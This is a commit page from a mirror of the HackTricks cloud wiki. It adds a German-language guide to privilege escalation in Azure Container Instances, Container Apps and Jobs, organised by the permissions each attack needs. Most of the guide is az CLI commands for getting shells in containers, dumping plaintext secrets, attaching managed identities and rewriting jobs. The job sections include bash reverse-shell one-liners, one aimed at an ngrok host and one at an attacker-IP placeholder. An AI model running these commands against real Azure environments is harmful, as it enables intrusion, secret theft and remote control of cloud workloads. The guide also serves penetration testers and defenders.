mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-30 22:50:43 -08:00
Translated ['src/pentesting-cloud/azure-security/az-privilege-escalation
This commit is contained in:
@@ -0,0 +1,177 @@
|
||||
# Az - Azure Container Instances, Apps & Jobs Privesc
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Azure Container Instances, Apps & Jobs
|
||||
|
||||
Für weitere Informationen siehe:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-container-instances-apps-jobs.md
|
||||
{{#endref}}
|
||||
|
||||
## ACI
|
||||
|
||||
### `Microsoft.ContainerInstance/containerGroups/read`, `Microsoft.ContainerInstance/containerGroups/containers/exec/action`
|
||||
|
||||
Diese Berechtigungen erlauben es dem Benutzer, **einen Befehl** in einem laufenden Container **auszuführen**. Dies kann verwendet werden, um **Berechtigungen zu eskalieren** im Container, wenn eine verwaltete Identität angehängt ist. Natürlich ist es auch möglich, auf den Quellcode und andere sensible Informationen zuzugreifen, die im Container gespeichert sind.
|
||||
|
||||
Um eine Shell zu erhalten, ist es so einfach wie:
|
||||
```bash
|
||||
az container exec --name <container-name> --resource-group <res-group> --exec-command '/bin/sh'
|
||||
```
|
||||
Es ist auch möglich, die **Ausgabe** des Containers mit folgendem Befehl zu **lesen**:
|
||||
```bash
|
||||
az container attach --name <container-name> --resource-group <res-group>
|
||||
```
|
||||
Oder erhalten Sie die Protokolle mit:
|
||||
```bash
|
||||
az container logs --name <container-name> --resource-group <res-group>
|
||||
```
|
||||
### `Microsoft.ContainerInstance/containerGroups/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
|
||||
|
||||
Diese Berechtigungen ermöglichen es, **eine benutzerdefinierte verwaltete Identität** an eine Containergruppe anzuhängen. Dies ist sehr nützlich, um Privilegien im Container zu eskalieren.
|
||||
|
||||
Um eine benutzerdefinierte verwaltete Identität an eine Containergruppe anzuhängen:
|
||||
```bash
|
||||
az rest \
|
||||
--method PATCH \
|
||||
--url "/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ContainerInstance/containerGroups/<container-name>?api-version=2021-09-01" \
|
||||
--body '{
|
||||
"identity": {
|
||||
"type": "UserAssigned",
|
||||
"userAssignedIdentities": {
|
||||
"/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<user-namaged-identity-name>": {}
|
||||
}
|
||||
}
|
||||
}' \
|
||||
--headers "Content-Type=application/json"
|
||||
```
|
||||
### `Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.ContainerInstance/containerGroups/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
|
||||
|
||||
Diese Berechtigungen ermöglichen es, **eine Containergruppe zu erstellen oder zu aktualisieren**, die mit einer **benutzerverwalteten Identität** verknüpft ist. Dies ist sehr nützlich, um Privilegien im Container zu eskalieren.
|
||||
```bash
|
||||
az container create \
|
||||
--resource-group <res-group> \
|
||||
--name nginx2 \
|
||||
--image mcr.microsoft.com/oss/nginx/nginx:1.9.15-alpine \
|
||||
--assign-identity "/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<user-namaged-identity-name>" \
|
||||
--restart-policy OnFailure \
|
||||
--os-type Linux \
|
||||
--cpu 1 \
|
||||
--memory 1.0
|
||||
```
|
||||
Darüber hinaus ist es auch möglich, eine vorhandene Containergruppe zu aktualisieren, indem beispielsweise das **`--command-line` Argument** mit einer Reverse-Shell hinzugefügt wird.
|
||||
|
||||
## ACA
|
||||
|
||||
### `Microsoft.App/containerApps/read`, `Microsoft.App/managedEnvironments/read`, `microsoft.app/containerapps/revisions/replicas`, `Microsoft.App/containerApps/revisions/read`, `Microsoft.App/containerApps/getAuthToken/action`
|
||||
|
||||
Diese Berechtigungen ermöglichen es dem Benutzer, **eine Shell** in einem laufenden Anwendungscontainer zu erhalten. Dies kann verwendet werden, um **Privilegien** im Container zu **eskalieren**, wenn eine verwaltete Identität angehängt ist. Natürlich ist es auch möglich, auf den Quellcode und andere sensible Informationen zuzugreifen, die im Container gespeichert sind.
|
||||
```bash
|
||||
az containerapp exec --name <app-name> --resource-group <res-group> --command "sh"
|
||||
az containerapp debug --name <app-name> --resource-group <res-group>
|
||||
|
||||
```
|
||||
### `Microsoft.App/containerApps/listSecrets/action`
|
||||
|
||||
Diese Berechtigung ermöglicht es, den **Klartext der Geheimnisse** abzurufen, die innerhalb einer Container-App konfiguriert sind. Beachten Sie, dass Geheimnisse entweder im Klartext oder mit einem Link zu einem Schlüsselbund konfiguriert werden können (in diesem Fall hat die App eine verwaltete Identität zugewiesen, die Zugriff auf die Geheimnisse hat).
|
||||
```bash
|
||||
az containerapp secret list --name <app-name> --resource-group <res-group>
|
||||
az containerapp secret show --name <app-name> --resource-group <res-group> --secret-name <scret-name>
|
||||
```
|
||||
### `Microsoft.App/containerApps/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
|
||||
|
||||
Diese Berechtigungen ermöglichen es, **eine benutzerdefinierte verwaltete Identität** an eine Container-App anzuhängen. Dies ist sehr nützlich, um Privilegien im Container zu eskalieren. Das Ausführen dieser Aktion über die az cli erfordert ebenfalls die Berechtigung `Microsoft.App/containerApps/listSecrets/action`.
|
||||
|
||||
Um eine benutzerdefinierte verwaltete Identität an eine Containergruppe anzuhängen:
|
||||
```bash
|
||||
az containerapp identity assign -n <app-name> -g <res-group> --user-assigned myUserIdentityName
|
||||
```
|
||||
### `Microsoft.App/containerApps/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`, `Microsoft.App/managedEnvironments/join/action`
|
||||
|
||||
Diese Berechtigungen ermöglichen es, **einen Anwendungscontainer zu erstellen oder zu aktualisieren**, dem eine **benutzerverwaltete Identität** zugeordnet ist. Dies ist sehr nützlich, um Privilegien im Container zu eskalieren.
|
||||
```bash
|
||||
# Get environments
|
||||
az containerapp env list --resource-group Resource_Group_1
|
||||
|
||||
# Create app in a an environment
|
||||
az containerapp create \
|
||||
--name <app-name> \
|
||||
--resource-group <res-group> \
|
||||
--image mcr.microsoft.com/oss/nginx/nginx:1.9.15-alpine \
|
||||
--cpu 1 --memory 1.0 \
|
||||
--user-assigned <user-asigned-identity-name> \
|
||||
--min-replicas 1 \
|
||||
--command "<reserse shell>"
|
||||
```
|
||||
> [!TIP]
|
||||
> Beachten Sie, dass mit diesen Berechtigungen **andere Konfigurationen der App** geändert werden können, was es ermöglichen könnte, andere Privilegieneskalations- und Post-Exploitation-Angriffe durchzuführen, abhängig von der Konfiguration der vorhandenen Apps.
|
||||
|
||||
## Jobs
|
||||
|
||||
### `Microsoft.App/jobs/read`, `Microsoft.App/jobs/write`
|
||||
|
||||
Obwohl Jobs nicht so lange laufen wie Container-Apps, können Sie die Möglichkeit ausnutzen, die Befehlskonfiguration des Jobs beim Starten einer Ausführung zu überschreiben. Durch das Erstellen einer benutzerdefinierten Jobvorlage (zum Beispiel, indem Sie den Standardbefehl durch eine Reverse-Shell ersetzen) können Sie Shell-Zugriff innerhalb des Containers erhalten, der den Job ausführt.
|
||||
```bash
|
||||
# Retrieve the current job configuration and save its template:
|
||||
az containerapp job show --name <job-name> --resource-group <res-group> --output yaml > job-template.yaml
|
||||
|
||||
# Edit job-template.yaml to override the command with a reverse shell (or similar payload):
|
||||
# For example, change the container’s command to:
|
||||
# - args:
|
||||
# - -c
|
||||
# - bash -i >& /dev/tcp/4.tcp.eu.ngrok.io/18224 0>&1
|
||||
# command:
|
||||
# - /bin/bash
|
||||
# image: mcr.microsoft.com/azureml/minimal-ubuntu22.04-py39-cpu-inference:latest
|
||||
|
||||
# Update and wait until the job is triggered (or change ths type to scheduled)
|
||||
az containerapp job update --name deletemejob6 --resource-group Resource_Group_1 --yaml /tmp/changeme.yaml
|
||||
|
||||
# Start a new job execution with the modified template:
|
||||
az containerapp job start --name <job-name> --resource-group <res-group> --yaml job-template.yaml
|
||||
```
|
||||
### `Microsoft.App/jobs/read`, `Microsoft.App/jobs/listSecrets/action`
|
||||
|
||||
Wenn Sie über diese Berechtigungen verfügen, können Sie alle Geheimnisse (erste Berechtigung) innerhalb eines Job-Containers auflisten und dann die Werte der konfigurierten Geheimnisse lesen.
|
||||
```bash
|
||||
az containerapp job secret list --name <job-name> --resource-group <res-group>
|
||||
az containerapp job secret show --name <job-name> --resource-group <res-group> --secret-name <secret-name>
|
||||
```
|
||||
### `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`, `Microsoft.App/jobs/write`
|
||||
|
||||
Wenn Sie die Berechtigung haben, die Konfiguration eines Jobs zu ändern, können Sie eine benutzerdefinierte verwaltete Identität anhängen. Diese Identität könnte zusätzliche Berechtigungen haben (zum Beispiel Zugriff auf andere Ressourcen oder Geheimnisse), die missbraucht werden können, um Privilegien innerhalb des Containers zu eskalieren.
|
||||
```bash
|
||||
az containerapp job update \
|
||||
--name <job-name> \
|
||||
--resource-group <res-group> \
|
||||
--assign-identity <user-assigned-identity-id>
|
||||
```
|
||||
### `Microsoft.App/managedEnvironments/read`, `Microsoft.App/jobs/write`, `Microsoft.App/managedEnvironments/join/action`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
|
||||
|
||||
Wenn Sie einen neuen Container Apps Job erstellen (oder einen bestehenden aktualisieren) und eine verwaltete Identität anhängen können, können Sie den Job so gestalten, dass er eine Nutzlast ausführt, die die Berechtigungen erhöht. Zum Beispiel könnten Sie einen neuen Job erstellen, der nicht nur eine Reverse-Shell ausführt, sondern auch die Anmeldeinformationen der verwalteten Identität verwendet, um Tokens anzufordern oder auf andere Ressourcen zuzugreifen.
|
||||
```bash
|
||||
az containerapp job create \
|
||||
--name <new-job-name> \
|
||||
--resource-group <res-group> \
|
||||
--environment <environment-name> \
|
||||
--image mcr.microsoft.com/oss/nginx/nginx:1.9.15-alpine \
|
||||
--user-assigned <user-assigned-identity-id> \
|
||||
--trigger-type Schedule \
|
||||
--cron-expression "*/1 * * * *" \
|
||||
--replica-timeout 1800 \
|
||||
--replica-retry-limit 0 \
|
||||
--command "bash -c 'bash -i >& /dev/tcp/<attacker-ip>/<port> 0>&1'"
|
||||
```
|
||||
> [!TIP]
|
||||
> Dieser Befehl wird einen Fehler auslösen, wenn Sie nicht die Berechtigung `Microsoft.App/jobs/read` haben, obwohl der Job erstellt wird.
|
||||
|
||||
### `microsoft.app/jobs/start/action`, `microsoft.app/jobs/read`
|
||||
|
||||
Es sieht so aus, als ob es mit diesen Berechtigungen möglich sein sollte, einen Job zu starten. Dies könnte verwendet werden, um einen Job mit einer Reverse-Shell oder einem anderen bösartigen Befehl zu starten, ohne die Konfiguration des Jobs ändern zu müssen.
|
||||
|
||||
Ich habe es nicht geschafft, es zum Laufen zu bringen, aber laut den erlaubten Parametern sollte es möglich sein.
|
||||
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
Reference in New Issue
Block a user